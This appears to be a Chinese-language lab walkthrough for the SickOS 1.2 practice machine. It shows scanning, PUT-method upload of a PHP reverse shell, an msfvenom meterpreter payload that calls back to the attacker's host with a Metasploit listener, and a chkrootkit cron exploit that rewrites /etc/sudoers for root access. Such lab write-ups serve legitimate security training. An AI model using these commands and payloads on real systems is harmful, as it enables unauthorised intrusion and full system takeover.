sickos-1.2
1.信息收集
1.arp-scan -l扫描IP
sudo arp-scan -l
2.nmap 扫描端口
sudo nmap 192.168.221.129 -T4
查看80端口
3.没有发现可用信息,dirsearch扫描目录
dirsearch --url http://192.168.221.129
访问http://192.168.221.129/test/
5.网站指纹识别
whatweb http://192.168.221.129
经过在网上搜索,也没有发现web服务器的版本漏洞
2. 查看/test目录支持的方法
1.使用nmap脚本进行扫描
nmap --script http-methods --script-args http-methods.url-path='/test' 192.168.221.129
我们可以看到支持PUT方法,我们可以想到PUT文件上传
PUT方法写入phpinfo主页
成功访问
3、 漏洞利用
方法一:
1.curl上传php反弹shell脚本
使用linux自带php反弹shell脚本,使用时对ip与port要进行修改
2.使用curl命令工具将php-reverse-shell.php脚本上传至服务器
curl -v -T php-reverse-shell.php "http://192.168.30.208/test/"
#-v, --verbose 输出详细内容
#-T, --upload-file FILE 后跟上传目标文件(Transfer)
#-H, --header LINE 添加请求头, 可添加多个 -H 参数,
上传失败,出现417错误
查找资料发现需要在curl的参数中加上特定的HTTP Header Expect:,即将Header中Expect的值手动指定为空
3.再次上传脚本文件
curl -v -T php-reverse-shell.php -H 'Expect:' "http://192.168.221.129/test/"
4.kali进行监听1234端口
发现不行
方法二:
msfvenom 生成攻击载荷 + curl上传
1、使用msfvenom生成攻击载荷
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.221.128 lport=443 R >php_shell.php
2.使用curl将生成的攻击载荷上传至服务器
curl -v -T php_shell.php -H 'Expect:' "http://192.168.221.129/test/"
3.设置msf进行监听
msfconsole
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.221.128
set lport 443
exploit
点击上传文件
反弹成功
shell
python -c 'import pty;pty.spawn("/bin/bash")'
4.本地提权
1.查看
2. 查看靶机的版本及内核信息
lsb_release -a
3. 查看/etc/cron*下所含的所有文件
crontab 是用来让使用者在固定时间或固定间隔执行程序之用,换句话说,也就是类似使用者的时程表
ls -la /etc/cron*
在/etc/cron.daily目录下,发现chkrootkit工具
chkrootkit -V
5.搜索chkrootkit 0.49版本漏洞
6.提权,将当前用户(www-data)加入sudo组
7./tmp目录下 updata文件,并赋予可执行权限
touch update
chmod +x update
8.向update文件中写入将www-date添加到sudo组的命令
user1 ALL=(ALL) ALL
#我们来说一下这一行的配置的意思
#user1 表示该用户user1可以使用sudo命令,第一个ALL指的是网络中的主机(可以是主机名也可以是ip地址),它指明user1用户可以在此主机上执行后面命令;第二个括号里的ALL是指目标用户,也就是以谁的身份去执行命令。最后一个ALL是指命令路径。
echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL) NOPASSWD:ALL" > /etc/sudoers' > /tmp/update
9.查看当前用户可执行的sudo文件
sudo -l
10.切换用户
sudo su root